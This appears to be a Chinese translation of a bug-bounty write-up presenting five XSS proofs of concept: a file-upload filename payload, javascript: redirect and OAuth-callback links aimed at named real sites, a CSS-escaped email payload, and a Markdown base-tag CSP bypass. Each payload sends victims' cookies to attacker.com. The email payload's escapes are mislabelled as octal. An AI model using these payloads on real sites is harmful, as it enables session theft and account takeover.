白帽故事 · 2025年6月5日 0

赚取50000美元的5个顶级 XSS PoC

通过 5 个顶级 PoC 学习精英白帽寻找 XSS 的方法与技巧。

PoC1:文件上传+CSRF

  1. 寻找易受攻击的端点
    • 在支持聊天功能的窗口拦截文件上传(Burp Suite → POST /upload_file )
    • 关键特征:请求中未包含CSRF Token
  2. 创建Payload:
"><img src=1 onerror="
  url=String.fromCharCode(104,116,116,112,...);  // Convert attacker URL to ASCII
  xhttp=new XMLHttpRequest();
  xhttp.open('GET',url+document.cookie,true);   // Steal cookies
  xhttp.send();
">

使用ASCII转换进行URL编码。

  1. 执行攻击:
    A. 上传带有恶意文件名的文件
    B. 当受害者查看聊天时→Payload会自动触发
    C. 攻击者获得受害者的会话Cookie

  2. 影响&教训

    • 影响:帐户完全接管
    • 经验与教训:
    • 文件上传中的XSS“金矿”
    • onerror无需用户点击的触发器
    • ASCII编码的绕过技巧

PoC2:重定向XSS

  1. 寻找易受攻击的端点
    • 登录后测试所有重定向参数:
      https://accounts.reddit.com/?dest=TEST
    • 触发条件:Payload在登录后执行
  2. 创建Payload:

https://accounts.reddit.com/?dest=javascript:fetch('//attacker.com?c='+btoa(document.cookie))

如果被阻止,可对特殊字符进行编码( 如:%28 = ( , %29 = ) )

  1. 执行攻击:
    • 向受害者发送恶意链接
    • 受害者登录 → Payload在重定向后执行
    • 攻击者获得受害者会话令牌
  2. 影响&教训:
    • 影响:帐户劫持
    • 经验与教训:
      • javascript: 在认证后重定向中生效
      • 始终测试认证流程中的参数(如:dest , redirect_uri 等)

PoC3:Email 过滤绕过

  1. 寻找漏洞端点:

    • HTML 邮件处理系统
    • 关键特征:CSS url(cid://) 渲染 HTML
  2. 创建Payload:
<style>
url(cid://\00003c\000073\000063\000072\000069\000070\000074\00003e
  fetch('//attacker.com?'+document.cookie)
\00003c\00002f\000073\000063\000072\000069\000070\000074\00003e);
</style>

\00003c 等于 < 的八进制编码

  1. 执行攻击:

A. 发送包含Payload的原始邮件
B. 受害者打开邮件 → 过滤器失效 → Payload 执行
C. 攻击者劫持邮件转发规则

  1. 影响&教训:

    • 影响:邮件帐户被攻破
    • 经验与教训:
      • 使用八进制编码绕过 HTML 过滤器
      • CSS url() 技巧
      • 使用原始 HTML 测试电子邮件客户端

PoC4:OAuth XSS

  1. 寻找易受攻击的端点:

    • 初始化: /services/login/identity?google_apps_uri=…
    • 在“使用Google 登录”流程中触发
  2. 创建Payload:

https://app.shopify.com/services/login/identity?google_apps_uri=javascript:fetch('//attacker.com?c='+document.cookie)

  1. 执行攻击:

A. 诱使受害者点击恶意链接
B. 受害者通过 Google 登录 → Payload在过程中成功执行
C. 管理员 Cookie 被窃取

  1. 影响&教训:

    • Shopify 商店劫持
    • 经验与教训:
      • 测试所有 OAuth 回调参数
      • javascript: 同样适用于第三方认证流程
      • 员工/管理员账户是高价值目标

PoC5:Markdown XSS + CSP 绕过

1.寻找漏洞端点:

  • Markdown 编辑器(issues、维基)
  • 关键标志:允许的 HTML 属性,如 data-sourcepos
    2.创建Payload:

    <pre data-sourcepos="&#34;%22 href=&#34;x"></pre>
    <base href="https://attacker.com">  <!-- Hijack resources -->
    <pre x=&#34;">
    <code></code></pre>
  1. 执行攻击:
    A. 在问题描述中提交Payload
    B. 受害者查看问题 → 从 attacker.com 加载脚本
    C. 恶意 JS 在有效的 CSP nonce 下运行

  2. 影响&教训:

    • 影响:完全账户接管 + SSO 访问
    • 经验与教训:
      • <base> 标签绕过 CSP
      • 混乱的 HTML 混淆过滤器
      • 缺失资源=利用机会

“ XSS与复杂性无关,而是要寻找开发人员忘记验证的位置,从文件上传和重定向开始,这些都是唾手可得的果实!”

原文:https://infosecwriteups.com/top-xss-pocs-that-made-50000-1691200eb599